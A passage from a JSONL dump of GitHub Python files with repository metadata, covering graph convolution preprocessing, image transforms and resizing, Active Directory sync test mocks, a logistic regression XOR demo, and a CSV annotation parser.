else:\n sparse_mx = to_tuple(sparse_mx)\n\n return sparse_mx\n\n\n# 处理特征:特征矩阵进行归一化并返回一个格式为(coords, values, shape)的元组\n# 特征矩阵的每一行的每个元素除以行和,处理后的每一行元素之和为1\n# 处理特征矩阵,跟谱图卷积的理论有关,目的是要把周围节点的特征和自身节点的特征都捕捉到,同时避免不同节点间度的不均衡带来的问题\ndef preprocess_features(features):\n \"\"\"Row-normalize feature matrix and convert to tuple representation\"\"\"\n # >> > b = [[1.0, 3], [2, 4], [3, 5]]\n # >> > b = np.array(b)\n # >> > b\n # array([[1., 3.],\n # [2., 4.],\n # [3., 5.]])\n #\n # >> > np.array(b.sum(1))\n # array([4., 6., 8.])\n #\n # >> > c = np.array(b.sum(1))\n # >> > np.power(c, -1)\n # array([0.25, 0.16666667, 0.125])\n #\n # >> > np.power(c, -1).flatten()\n # array([0.25, 0.16666667, 0.125])\n #\n # >> > r_inv = np.power(c, -1).flatten()\n # >> > import scipy.sparse as sp\n # >> > r_mat_inv = sp.diags(r_inv)\n # >> > r_mat_inv\n # < 3x3 sparse matrix of type ''\n # with 3 stored elements (1 diagonals) in DIAgonal format >\n # >> > r_mat_inv.toarray()\n # array([[0.25, 0., 0.],\n # [0., 0.16666667, 0.],\n # [0., 0., 0.125]])\n #\n # >> > f = r_mat_inv.dot(b)\n # >> > f\n # array([[0.25, 0.75],\n # [0.33333333, 0.66666667],\n # [0.375, 0.625]])\n\n # a.sum()是将矩阵中所有的元素进行求和;a.sum(axis = 0)是每一列列相加;a.sum(axis = 1)是每一行相加\n rowsum = np.array(features.sum(1))\n r_inv = np.power(rowsum, -1).flatten()\n r_inv[np.isinf(r_inv)] = 0.\n # sp.diags创建一个对角稀疏矩阵\n r_mat_inv = sp.diags(r_inv)\n # dot矩阵乘法\n features = r_mat_inv.dot(features)\n return sparse_to_tuple(features)\n\n\n# 邻接矩阵adj对称归一化并返回coo存储模式\ndef normalize_adj(adj):\n \"\"\"Symmetrically normalize adjacency matrix.\"\"\"\n adj = sp.coo_matrix(adj)\n rowsum = np.array(adj.sum(1))\n d_inv_sqrt = np.power(rowsum, -0.5).flatten()\n d_inv_sqrt[np.isinf(d_inv_sqrt)] = 0.\n d_mat_inv_sqrt = sp.diags(d_inv_sqrt)\n return adj.dot(d_mat_inv_sqrt).transpose().dot(d_mat_inv_sqrt).tocoo()\n\n\n# 将邻接矩阵加上自环以后,对称归一化,并存储为COO模式,最后返回元组格式\ndef preprocess_adj(adj):\n \"\"\"Preprocessing of adjacency matrix for simple GCN model and conversion to tuple representation.\"\"\"\n # 加上自环,再对称归一化\n adj_normalized = normalize_adj(adj + sp.eye(adj.shape[0]))\n return sparse_to_tuple(adj_normalized)\n\n\n# 构建输入字典并返回\n# labels和labels_mask传入的是具体的值,例如\n# labels=y_train,labels_mask=train_mask;\n# labels=y_val,labels_mask=val_mask;\n# labels=y_test,labels_mask=test_mask;\ndef construct_feed_dict(features, support, labels, labels_mask, placeholders):\n \"\"\"Construct feed dictionary.\"\"\"\n feed_dict = dict()\n feed_dict.update({placeholders['labels']: labels})\n feed_dict.update({placeholders['labels_mask']: labels_mask})\n feed_dict.update({placeholders['features']: features})\n # 由于邻接矩阵是稀疏的,并且用LIL格式表示,因此定义为一个tf.sparse_placeholder(tf.float32),可以节省内存\n feed_dict.update({placeholders['support'][i]: support[i]\n for i in range(len(support))})\n # 49126是特征矩阵存储为coo模式后非零元素的个数(2078*1433里只有49126个非零,稀疏度达1.3%)\n feed_dict.update({placeholders['num_features_nonzero']: features[1].shape})\n return feed_dict\n\n\ndef chebyshev_polynomials(adj, k):\n \"\"\"Calculate Chebyshev polynomials up to order k. Return a list of sparse matrices (tuple representation).\"\"\"\n print(\"Calculating Chebyshev polynomials up to order {}...\".format(k))\n\n adj_normalized = normalize_adj(adj)\n laplacian = sp.eye(adj.shape[0]) - adj_normalized\n largest_eigval, _ = eigsh(laplacian, 1, which='LM')\n scaled_laplacian = (\n 2. / largest_eigval[0]) * laplacian - sp.eye(adj.shape[0])\n\n t_k = list()\n t_k.append(sp.eye(adj.shape[0]))\n t_k.append(scaled_laplacian)\n\n def chebyshev_recurrence(t_k_minus_one, t_k_minus_two, scaled_lap):\n s_lap = sp.csr_matrix(scaled_lap, copy=True)\n return 2 * s_lap.dot(t_k_minus_one) - t_k_minus_two\n\n for i in range(2, k + 1):\n t_k.append(chebyshev_recurrence(t_k[-1], t_k[-2], scaled_laplacian))\n\n return sparse_to_tuple(t_k)\n\n\ndef loadWord2Vec(filename):\n \"\"\"Read Word Vectors\"\"\"\n vocab = []\n embd = []\n word_vector_map = {}\n file = open(filename, 'r')\n for line in file.readlines():\n row = line.strip().split(' ')\n if (len(row) > 2):\n vocab.append(row[0])\n vector = row[1:]\n length = len(vector)\n for i in range(length):\n vector[i] = float(vector[i])\n embd.append(vector)\n word_vector_map[row[0]] = vector\n print('Loaded Word Vectors!')\n file.close()\n return vocab, embd, word_vector_map\n\n\ndef clean_str(string):\n \"\"\"\n Tokenization/string cleaning for all datasets except for SST.\n Original taken from https://github.com/yoonkim/CNN_sentence/blob/master/process_data.py\n \"\"\"\n string = re.sub(r\"[^A-Za-z0-9(),!?\\'\\`]\", \" \", string)\n string = re.sub(r\"\\'s\", \" \\'s\", string)\n string = re.sub(r\"\\'ve\", \" \\'ve\", string)\n string = re.sub(r\"n\\'t\", \" n\\'t\", string)\n string = re.sub(r\"\\'re\", \" \\'re\", string)\n string = re.sub(r\"\\'d\", \" \\'d\", string)\n string = re.sub(r\"\\'ll\", \" \\'ll\", string)\n string = re.sub(r\",\", \" , \", string)\n string = re.sub(r\"!\", \" ! \", string)\n string = re.sub(r\"\\(\", \" \\( \", string)\n string = re.sub(r\"\\)\", \" \\) \", string)\n string = re.sub(r\"\\?\", \" \\? \", string)\n string = re.sub(r\"\\s{2,}\", \" \", string)\n return string.strip().lower()\n","repo_name":"wanghr873/question","sub_path":"lecture_07_gcn/code/model/gcn/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":15203,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"8121363633","text":"import torchvision.transforms as T\n\nfrom cnn_example.config import Config\n\n\ndef get_transforms(config: Config, train: bool) -> T.Compose:\n transforms = []\n\n if train:\n if config.preprocess.horizontal_flip:\n transforms.append(T.RandomHorizontalFlip(p=config.preprocess.horizontal_flip_rate))\n if config.preprocess.random_rotation:\n transforms.append(T.RandomRotation(degrees=config.preprocess.random_rotation_degrees))\n\n transforms += [\n T.Resize((224, 224)),\n T.ToTensor(),\n T.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]),\n ]\n return T.Compose(transforms)\n","repo_name":"4620511/cnn-example","sub_path":"cnn_example/data/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27192648570","text":"import time\nimport uuid\nfrom datetime import datetime\nfrom functools import partial\nfrom itertools import chain\nfrom random import choice\nfrom random import randint\nfrom unittest.mock import patch\n\nfrom ..ad_sync import AdMoSync\nfrom ..ad_writer import ADWriter\nfrom ..read_ad_conf_settings import read_settings\nfrom ..user_names import UserNameGen\nfrom ..utils import AttrDict\nfrom ..utils import recursive_dict_update\nfrom .name_simulator import create_name\n\n\ndef dict_modifier(updates):\n \"\"\"Wrapper around recursive_dict_update, which provides updates beforehand.\n\n Example:\n\n updates = {'action': 'set'}\n\n function_with_expects_single_argument_transformer(\n dict_modifier(updates)\n )\n\n Args:\n updates: dictionary with updates to be applied later, when the returned\n function is actually called.\n\n Returns:\n function: A partially applied recursive_dict_update function, waiting\n for the original to apply updates to.\n \"\"\"\n return partial(recursive_dict_update, updates=updates)\n\n\ndef mo_modifier(updates):\n \"\"\"Wrapper around recursive_dict_update, which provides updates beforehand.\n\n Example:\n\n updates = {'action': 'set'}\n\n function_with_expects_mo_values_call(\n mo_modifier(updates)\n )\n\n Args:\n updates: dictionary with updates to be applied later, when the returned\n function is actually called.\n\n Returns:\n function: A partially applied recursive_dict_update function, waiting\n for the original to apply updates to.\n \"\"\"\n\n def mo_mod(mo_values, *args, **kwargs):\n return recursive_dict_update(mo_values, updates=updates)\n\n return mo_mod\n\n\nclass ADWriterTestSubclass(ADWriter):\n \"\"\"Testing subclass of ADWriter.\"\"\"\n\n def __init__(\n self,\n read_ad_information_from_mo,\n ad_values_func=None,\n *args,\n **kwargs,\n ):\n super().__init__(*args, **kwargs)\n # List of scripts to be executed via run_ps\n self.scripts = []\n # Transformer for mo_values return\n self.read_ad_information_from_mo = read_ad_information_from_mo\n # Replace real `_find_ad_user` with mock\n if kwargs.get(\"mock_find_ad_user\", True):\n self._find_ad_user = lambda ad_user, ad_dump=None: ad_values_func()\n\n def _init_name_creator(self):\n \"\"\"Mocked to pretend no names are occupied.\n\n This method would normally use ADReader to read usernames from AD.\n \"\"\"\n self.name_creator = UserNameGen.get_implementation()\n\n def _create_session(self):\n \"\"\"Mocked to return a fake-class which writes scripts to self.scripts.\n\n This method would normally send scripts to powershell via WinRM.\n \"\"\"\n\n def run_ps(ps_script):\n # Add our script to the list\n self.scripts.append(ps_script)\n # Fake the WinRM run_ps return type\n return AttrDict(\n {\n \"status_code\": 0,\n \"std_out\": b\"\",\n \"std_err\": b\"\",\n }\n )\n\n # Fake the WinRM session object\n return AttrDict(\n {\n \"run_ps\": run_ps,\n }\n )\n\n def _get_retry_exceptions(self):\n \"\"\"Mocked to return an empty list, i.e. never retry.\n\n This method would normally return the WinRM transport exception, to\n cause retrying to happen.\n \"\"\"\n return []\n\n def read_ad_information_from_mo(self, uuid, read_manager=True, ad_dump=None):\n raise NotImplementedError(\"Should be overridden in __init__\")\n\n def _read_ad_information_from_mo(self, uuid, read_manager=True, ad_dump=None):\n return super().read_ad_information_from_mo(uuid, read_manager, ad_dump)\n\n\ndef _no_transformation(default, *args, **kwargs):\n return default\n\n\nclass TestADMixin(object):\n # Useful for local testing\n generate_dynamic_person = True\n default_person = None\n\n def _prepare_dynamic_person(self):\n def random_date():\n unixtime = randint(1, int(time.time()))\n return datetime.fromtimestamp(unixtime).strftime(\"%d%m%y\")\n\n def random_digit():\n return choice(\"0123456789\")\n\n def random_digits(num_digits):\n return \"\".join(random_digit() for _ in range(num_digits))\n\n def gen_cpr():\n return random_date() + random_digits(4)\n\n dynamic_person = {\n \"uuid\": str(uuid.uuid4()),\n \"name\": create_name(),\n \"nickname\": create_name(),\n \"cpr\": gen_cpr(),\n \"employment_number\": random_digits(4),\n \"read_manager\": True,\n \"manager_name\": create_name(),\n \"manager_cpr\": gen_cpr(),\n }\n return dynamic_person\n\n def _prepare_static_person(self):\n static_person = {\n \"uuid\": \"7ccbd9aa-gd60-4fa1-4571-0e6f41f6ebc0\",\n \"name\": (\"Martin\", \"Lee\", \"Gore\"),\n \"nickname\": (\"Depeche\", \"Mode\"),\n \"employment_number\": \"101\",\n \"cpr\": \"1122334455\",\n \"read_manager\": True,\n \"manager_name\": (\"Daniel\", \"Miller\"),\n \"manager_cpr\": \"1122334455\",\n }\n return static_person\n\n def _prepare_person(self, person_transformer=None, *args, **kwargs):\n if self.default_person is None:\n default_person = self._prepare_static_person()\n if self.generate_dynamic_person:\n default_person = self._prepare_dynamic_person()\n # Add computed fields\n creator = UserNameGen.get_implementation()\n sam_account_name = creator.create_username(list(default_person[\"name\"]))\n default_person.update(\n **{\n \"full_name\": \" \".join(default_person[\"name\"]),\n \"sam_account_name\": sam_account_name,\n \"manager_sam\": default_person[\"manager_name\"][0],\n \"manager_email\": default_person[\"manager_name\"][0] + \"@magenta.dk\",\n }\n )\n # Add static fields\n default_person.update(\n **{\n \"end_date\": \"2089-11-11\",\n \"title\": \"Musiker\",\n \"unit\": \"Enhed\",\n \"unit_uuid\": \"101bd9aa-0101-0101-0101-0e6f41f6ebc0\",\n \"unit_user_key\": \"Musik\",\n \"unit_postal_code\": \"8210\",\n \"unit_city\": \"Aarhus N\",\n \"unit_streetname\": \"Fahrenheit 451\",\n \"location\": \"Kommune\\\\Forvalting\\\\Enhed\\\\\",\n \"level2orgunit\": \"Ingen\",\n \"forvaltning\": \"Beskæftigelse, Økonomi & Personale\",\n }\n )\n transformer_func = person_transformer or _no_transformation\n self.default_person = transformer_func(default_person, *args, **kwargs)\n return self.default_person\n\n def _prepare_mo_values(self, mo_values_transformer=None, *args, **kwargs):\n person = self._prepare_person()\n # Convert raw person data into mo_values data\n person[\"name\"] = [\" \".join(person[\"name\"][:-1]), person[\"name\"][-1]]\n person[\"nickname\"] = [\n \" \".join(person[\"nickname\"][:-1]),\n person[\"nickname\"][-1],\n ]\n person[\"manager_name\"] = \" \".join(person[\"manager_name\"])\n\n # if not read_manager:\n # del person['manager_name']\n # del person['manager_sam']\n # del person['manager_email']\n # del person['manager_cpr']\n # person[\"read_manager\"] = False\n\n transformer_func = mo_values_transformer or _no_transformation\n return transformer_func(person, *args, **kwargs)\n\n def _prepare_get_from_ad(self, ad_transformer, *args, **kwargs):\n person = self._prepare_person()\n # Convert raw person data into ad_values data\n default_ad_person = {\n \"ObjectGUID\": person[\"uuid\"],\n \"SID\": {\n \"AccountDomainSid\": {\n \"AccountDomainSid\": \"S-x-x-xx-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx\",\n \"BinaryLength\": 24,\n \"Value\": \"S-x-x-xx-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx\",\n },\n \"BinaryLength\": 28,\n \"Value\": \"S-x-x-xx-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-xxxxx\",\n },\n \"PropertyCount\": 11,\n \"PropertyNames\": [\n \"ObjectGUID\",\n \"SID\",\n \"DistinguishedName\",\n \"Enabled\",\n \"GivenName\",\n \"Name\",\n \"ObjectClass\",\n \"SamAccountName\",\n \"Surname\",\n \"UserPrincipalName\",\n \"extensionAttribute1\",\n ],\n \"DistinguishedName\": \"CN=\"\n + person[\"full_name\"]\n + \",OU=\"\n + person[\"unit\"]\n + \",DC=lee\",\n \"Enabled\": True,\n \"Name\": person[\"full_name\"],\n \"ObjectClass\": \"user\",\n \"SamAccountName\": person[\"sam_account_name\"],\n \"GivenName\": person[\"name\"][-1],\n \"UserPrincipalName\": \"_\".join(person[\"full_name\"]).lower() + \"@magenta.dk\",\n \"extensionAttribute1\": person[\"cpr\"],\n \"AddedProperties\": [],\n \"ModifiedProperties\": [],\n \"RemovedProperties\": [],\n }\n transformer_func = ad_transformer or _no_transformation\n return transformer_func(default_ad_person, *args, **kwargs)\n\n def _prepare_settings(self, early_settings_transformer=None):\n \"\"\"Load default settings for AD tests.\n\n Args:\n early_settings_transformer: Function to transform settings.\n\n Returns:\n dict: Default settings after transformation.\n \"\"\"\n default_settings = {\n \"integrations.ad\": [\n {\n \"cpr_field\": \"cpr_field\",\n \"cpr_separator\": \"ad_cpr_sep\",\n \"system_user\": \"system_user\",\n \"password\": \"password\",\n \"properties\": [],\n \"search_base\": \"search_base\",\n \"integrations.ad.ad_mo_sync_mapping\": {},\n \"ad_mo_sync_terminate_missing\": False,\n \"ad_mo_sync_terminate_missing_require_itsystem\": True,\n \"ad_mo_sync_terminate_disabled\": True,\n \"ad_mo_sync_pre_filters\": [],\n \"ad_mo_sync_terminate_disabled_filters\": [],\n \"servers\": [\"server123\"],\n }\n ],\n \"integrations.ad.winrm_host\": \"dummy\",\n # \"integrations.ad.sam_filter\": \"sam_filter\",\n \"mora.base\": \"http://example.org\",\n \"integrations.ad.write.uuid_field\": \"uuid_field\",\n \"integrations.ad.write.level2orgunit_field\": \"level2orgunit_field\",\n \"integrations.ad.write.org_unit_field\": \"org_field\",\n \"integrations.ad.write.upn_end\": \"epn_end\",\n \"integrations.ad.write.level2orgunit_type\": \"level2orgunit_type\",\n \"integrations.ad_writer.template_to_ad_fields\": {\n \"Name\": \"{{ mo_values['full_name'] }} - {{ user_sam }}\",\n \"Displayname\": \"{{ mo_values['name'][0] }} {{ mo_values['name'][1] }}\",\n \"GivenName\": \"{{ mo_values['name'][0] }}\",\n \"SurName\": \"{{ mo_values['name'][1] }}\",\n \"EmployeeNumber\": \"{{ mo_values['employment_number'] }}\",\n },\n \"address.visibility.public\": \"address_visibility_public_uuid\",\n \"address.visibility.internal\": \"address_visibility_internal_uuid\",\n \"address.visibility.secret\": \"address_visibility_secret_uuid\",\n }\n transformer_func = early_settings_transformer or _no_transformation\n modified_settings = transformer_func(default_settings)\n for ad_settings in modified_settings[\"integrations.ad\"]:\n ad_settings[\"properties\"] = list(\n map(\n lambda x: x.lower(),\n chain(\n modified_settings.get(\n \"integrations.ad_writer.template_to_ad_fields\", {}\n ).keys(),\n modified_settings.get(\n \"integrations.ad_writer.mo_to_ad_fields\", {}\n ).values(),\n [modified_settings[\"integrations.ad.write.org_unit_field\"]],\n [\n modified_settings[\n \"integrations.ad.write.level2orgunit_field\"\n ]\n ],\n [modified_settings[\"integrations.ad.write.uuid_field\"]],\n ),\n )\n )\n return modified_settings\n\n\nclass TestADWriterMixin(TestADMixin):\n def _setup_adwriter(\n self,\n late_transform_settings=None,\n transform_mo_values=None,\n early_transform_settings=None,\n transform_ad_values=lambda x: x,\n **kwargs,\n ):\n transformer_func = late_transform_settings or _no_transformation\n self.settings = transformer_func(\n read_settings(self._prepare_settings(early_transform_settings))\n )\n self.mo_values_func = partial(self._prepare_mo_values, transform_mo_values)\n self.ad_values_func = partial(self._prepare_get_from_ad, transform_ad_values)\n\n # Avoid circular imports\n from .mocks import MockEmptyADReader\n from .mocks import MockMOGraphqlSource\n\n with patch(\n \"integrations.ad_integration.ad_writer.MOGraphqlSource\",\n new=MockMOGraphqlSource,\n ):\n with patch(\n \"integrations.ad_integration.ad_writer.ADParameterReader\",\n kwargs.get(\"mock_ad_reader_class\", MockEmptyADReader),\n ):\n self.ad_writer = ADWriterTestSubclass(\n all_settings=self.settings,\n read_ad_information_from_mo=self.mo_values_func,\n ad_values_func=self.ad_values_func,\n **kwargs,\n )\n\n\nclass AdMoSyncTestSubclass(AdMoSync):\n def __init__(\n self,\n mo_values_func,\n mo_e_username_func,\n ad_values_func,\n mo_seed_func,\n *args,\n **kwargs,\n ):\n super().__init__(*args, **kwargs)\n self.mo_values = mo_values_func()\n self.ad_values = ad_values_func()\n self.e_username = mo_e_username_func()\n\n self.mo_seed = mo_seed_func()\n self.mo_post_calls = []\n\n def _verify_it_systems(self):\n pass\n\n def _setup_mora_helper(self):\n def get_e_details(detail_type):\n return lambda *args, **kwargs: self.mo_seed[detail_type]\n\n def _mo_post(url, payload, force=True):\n # Register the call, so we can test against it\n self.mo_post_calls.append({\"url\": url, \"payload\": payload, \"force\": force})\n # response.text --> \"OK\"\n return AttrDict({\"text\": \"OK\", \"raise_for_status\": lambda: None})\n\n def read_user(uuid):\n return self.mo_values\n\n def update_user(uuid, data):\n payload = {\"type\": \"employee\", \"uuid\": uuid, \"data\": data}\n return _mo_post(\"details/edit\", payload)\n\n return AttrDict(\n {\n \"read_organisation\": lambda: \"org_uuid\",\n \"read_classes_in_facet\": lambda x: [\n [\n {\"uuid\": \"address_visibility_public_uuid\"},\n {\"uuid\": \"address_visibility_internal_uuid\"},\n {\"uuid\": \"address_visibility_secret_uuid\"},\n ]\n ],\n \"read_user\": read_user,\n \"read_all_users\": lambda: [self.mo_values],\n \"read_user_engagement\": get_e_details(\"engagement\"),\n \"get_e_addresses\": get_e_details(\"address\"),\n \"get_e_itsystems\": get_e_details(\"it\"),\n \"update_user\": update_user,\n \"_mo_post\": _mo_post,\n }\n )\n\n def _setup_ad_reader_and_cache_all(self, index, cache_all=True):\n def read_user(cpr, cache_only):\n # We only support one person in our mocking\n if cpr != self.mo_values[\"cpr\"]:\n raise NotImplementedError(\"Outside mocking\")\n # If we got that one person, return it\n return self.ad_values\n\n def get_settings():\n return self.settings[\"integrations.ad\"][0]\n\n ad_reader = AttrDict(\n {\n \"_get_setting\": get_settings,\n \"read_user\": read_user,\n }\n )\n return ad_reader\n\n\nclass TestADMoSyncMixin(TestADMixin):\n def _initialize_configuration(self):\n def ident(x, *args, **kwargs):\n return x\n\n self.settings = self._prepare_settings(ident)\n self.mo_values_func = partial(self._prepare_mo_values, ident)\n self.ad_values_func = partial(self._prepare_get_from_ad, ident)\n self.mo_e_username_func = lambda: \"\"\n self.mo_seed_func = lambda: {}\n\n def _setup_admosync(\n self,\n transform_settings=None,\n transform_mo_values=None,\n transform_ad_values=None,\n seed_e_username=None,\n seed_mo=None,\n ):\n if transform_settings:\n self.settings = self._prepare_settings(transform_settings)\n if transform_mo_values:\n self.mo_values_func = partial(self._prepare_mo_values, transform_mo_values)\n if transform_ad_values:\n self.ad_values_func = partial(\n self._prepare_get_from_ad, transform_ad_values\n )\n if seed_e_username:\n self.mo_e_username_func = seed_e_username\n if seed_mo:\n self.mo_seed_func = seed_mo\n\n self.ad_sync = AdMoSyncTestSubclass(\n all_settings=self.settings,\n mo_values_func=self.mo_values_func,\n ad_values_func=self.ad_values_func,\n mo_e_username_func=self.mo_e_username_func,\n mo_seed_func=self.mo_seed_func,\n )\n","repo_name":"OS2mo/os2mo-data-import-and-export","sub_path":"integrations/ad_integration/tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":18469,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"21339009418","text":"import os\nfrom PIL import Image, ImageFilter, ImageDraw\n\n# im = Image.open(r\"C:\\Users\\win\\Desktop\\ccc\\20200706130733539.png\")\n\n# 获取图片的格式,大小,以及模式\n# print(im.format, im.size, im.mode)\n\n# 指定图片的像素\n# im.thumbnail((720, 1280))\n# im.save(r\"C:\\Users\\win\\Desktop\\ccc\\128_128.jpg\")\n\n# 旋转图片的方向\n# dest_im = im.rotate(90)\n# dest_im.save(r\"C:\\Users\\win\\Desktop\\ccc\\90.png\")\n\n# 给图片添加滤镜\n# dest_im = im.filter(ImageFilter.GaussianBlur)\n# dest_im.show()\n\n# # 图片反转\n# dest_im = im.transpose(Image.FLIP_LEFT_RIGHT)\n# dest_im = im.transpose(Image.FLIP_TOP_BOTTOM)\n# dest_im.show()\n\n# 图片上写文字\n# image = Image.open(r\"C:\\Users\\win\\Desktop\\ccc\\20200706130733539.png\")\n# img_draw = ImageDraw.Draw(image)\n# img_draw.text((1270, 1250), 'hello world!', fill='green')\n# image.show()\n\n# 批量将图片的大小设置为指定大小\n\nin_path = r\"C:\\Users\\win\\Desktop\\ccc\"\nout_path = os.path.join(in_path, 'modify')\nif not os.path.exists(out_path):\n os.makedirs(out_path)\n\n\ndef modify():\n for image_name in os.listdir(in_path):\n cur_dir = in_path + '/' + image_name\n if os.path.isfile(cur_dir):\n print(f'正在处理:{cur_dir}')\n im = Image.open(cur_dir)\n im.thumbnail((1280, 720))\n im.save(os.path.join(out_path, image_name))\n\n\nif __name__ == '__main__':\n modify()\n","repo_name":"getcoden/python-practise","sub_path":"11 doc转docx转pdf/一文解决Pdf各种操作/图片裁剪.py","file_name":"图片裁剪.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1238748290","text":"from sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.pipeline import Pipeline\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n# XOR проблема, т.е. исключающее ИЛИ, как проблема для линейных моделей\n# Создаем дата-сет с исключающием или. Или одно, или другое.\nrng = np.random.RandomState(0) # Это подобие random_seed, только сохраняется на будущее, без вызова\nX = rng.randn(200, 2)\nprint(X)\ny = np.logical_xor(X[:, 0] > 0, X[:, 1] > 0)\nplt.scatter(X[:, 0], X[:, 1], s=30, c=y, cmap=plt.cm.Paired)\n\n# Попытаемся обучить линейной\nclf = LogisticRegression()\nplot_title = 'Logictic Regression, XOR problem'\n\nxx, yy = np.meshgrid(np.linspace(-3, 3, 50), np.linspace(-3, 3, 50))\nclf.fit(X, y)\n# Прогнозируем вероятности\nZ = clf.predict_proba(np.vstack((xx.ravel(), yy.ravel())).T)[:, 1]\nZ = Z.reshape(xx.shape)\n\nimage = plt.imshow(Z, interpolation='nearest', extent=(xx.min(), xx.max(), yy.min(), yy.max()), aspect='auto',\n origin='lower', cmap=plt.cm.PuOr_r)\ncontours = plt.contour(xx, yy, Z, levels=[0], linewidths=2, linetypes='--')\nplt.scatter(X[:, 0], X[:, 1], s=30, c=y, cmap=plt.cm.Paired)\nplt.xticks(())\nplt.yticks(())\nplt.xlabel(r'$$')\nplt.ylabel(r'$$')\nplt.axis([-3, 3, -3, 3])\nplt.colorbar(image)\nplt.title(plot_title, fontsize=12)\nplt.show()\n\n# Подадим полиноминальные признаки, т.е. создадим 6-мерное пространство\nlogit_pipe = Pipeline(\n [('poly', PolynomialFeatures(degree=2)),\n ('logit', LogisticRegression())]\n)\nclf = logit_pipe\nplot_title = 'Logictic Regression + quadratic features. XOR problem'\n\nxx, yy = np.meshgrid(np.linspace(-3, 3, 50), np.linspace(-3, 3, 50))\nclf.fit(X, y)\n# Прогнозируем вероятности\nZ = clf.predict_proba(np.vstack((xx.ravel(), yy.ravel())).T)[:, 1]\nZ = Z.reshape(xx.shape)\n\nimage = plt.imshow(Z, interpolation='nearest', extent=(xx.min(), xx.max(), yy.min(), yy.max()), aspect='auto',\n origin='lower', cmap=plt.cm.PuOr_r)\ncontours = plt.contour(xx, yy, Z, levels=[0], linewidths=2, linetypes='--')\nplt.scatter(X[:, 0], X[:, 1], s=30, c=y, cmap=plt.cm.Paired)\nplt.xticks(())\nplt.yticks(())\nplt.xlabel(r'$$')\nplt.ylabel(r'$$')\nplt.axis([-3, 3, -3, 3])\nplt.colorbar(image)\nplt.title(plot_title, fontsize=12)\nplt.show()\n","repo_name":"apokrif333/My_Libs","sub_path":"Machine Learning/Supervised/Regression/R - Logistic (XOR и полиномы).py","file_name":"R - Logistic (XOR и полиномы).py","file_ext":"py","file_size_in_byte":2692,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38183590357","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Nov 6 15:45:33 2020\r\n\r\n@author: alexandru.vesa\r\n\"\"\"\r\n\r\nimport sys\r\n\r\nfrom collections import OrderedDict\r\nimport csv\r\n\r\n\r\ndef _parse(value, function, fmt):\r\n \"\"\"\r\n Parse a string into a value, and format a nice ValueError if it fails.\r\n Returns `function(value)`.\r\n Any `ValueError` raised is catched and a new `ValueError` is raised\r\n with message `fmt.format(e)`, where `e` is the caught `ValueError`.\r\n \"\"\"\r\n return function(value)\r\n \r\n\r\ndef _open_for_csv(path):\r\n \"\"\" Open a file with flags suitable for csv.reader.\r\n This is different for python2 it means with mode 'rb',\r\n for python3 this means 'r' with \"universal newlines\".\r\n \"\"\"\r\n if sys.version_info[0] < 3:\r\n return open(path, 'rb')\r\n else:\r\n return open(path, 'r', newline='')\r\n \r\n \r\ndef _read_annotations(csv_reader, classes):\r\n \"\"\" Read annotations from the csv_reader.\r\n \"\"\"\r\n result = OrderedDict()\r\n for line, row in enumerate(csv_reader):\r\n line += 1\r\n\r\n try:\r\n img_file, x1, y1, x2, y2, class_name = row[:6]\r\n except ValueError:\r\n raise (ValueError('line {}: format should be \\'img_file,x1,y1,x2,y2,class_name\\' or \\'img_file,,,,,\\''.format(line)), None)\r\n\r\n if img_file not in result:\r\n result[img_file] = []\r\n\r\n # If a row contains only an image path, it's an image without annotations.\r\n if (x1, y1, x2, y2, class_name) == ('', '', '', '', ''):\r\n continue\r\n\r\n x1 = _parse(x1, int, 'line {}: malformed x1: {{}}'.format(line))\r\n y1 = _parse(y1, int, 'line {}: malformed y1: {{}}'.format(line))\r\n x2 = _parse(x2, int, 'line {}: malformed x2: {{}}'.format(line))\r\n y2 = _parse(y2, int, 'line {}: malformed y2: {{}}'.format(line))\r\n\r\n # Check that the bounding box is valid.\r\n if x2 <= x1:\r\n raise ValueError('line {}: x2 ({}) must be higher than x1 ({})'.format(line, x2, x1))\r\n if y2 <= y1:\r\n raise ValueError('line {}: y2 ({}) must be higher than y1 ({})'.format(line, y2, y1))\r\n\r\n # # check if the current class name is correctly present\r\n # if class_name not in classes:\r\n # raise ValueError('line {}: unknown class name: \\'{}\\' (classes: {})'.format(line, class_name, classes))\r\n\r\n result[img_file].append({'x1': x1, 'x2': x2, 'y1': y1, 'y2': y2, 'class': 2})\r\n return result\r\n\r\npath = r'C:\\Users\\alexandru.vesa\\Desktop\\Research\\New_Personal_Program_DL_Programming\\NewNightVision\\test.csv'\r\n\r\nwith _open_for_csv(path) as file:\r\n image_data = _read_annotations(csv.reader(file, delimiter=','), 2)","repo_name":"mediflux95/my-work","sub_path":"new_night_vision/NewNightVision_TF2/generator/prepare_annot.py","file_name":"prepare_annot.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29915595507","text":"\ndef is_valid(txt):\n lst = sorted([txt.count(ch) for ch in set(txt)])\n c = 0\n if lst[-1] - lst[0] > 1:\n return 'NO'\n for i in range(len(lst)):\n if lst[i] != lst[0]:\n c += 1\n if c == 2:\n return 'NO'\n return 'YES'\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"738WMYrYWPXeBgzFs_18.py","file_name":"738WMYrYWPXeBgzFs_18.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} 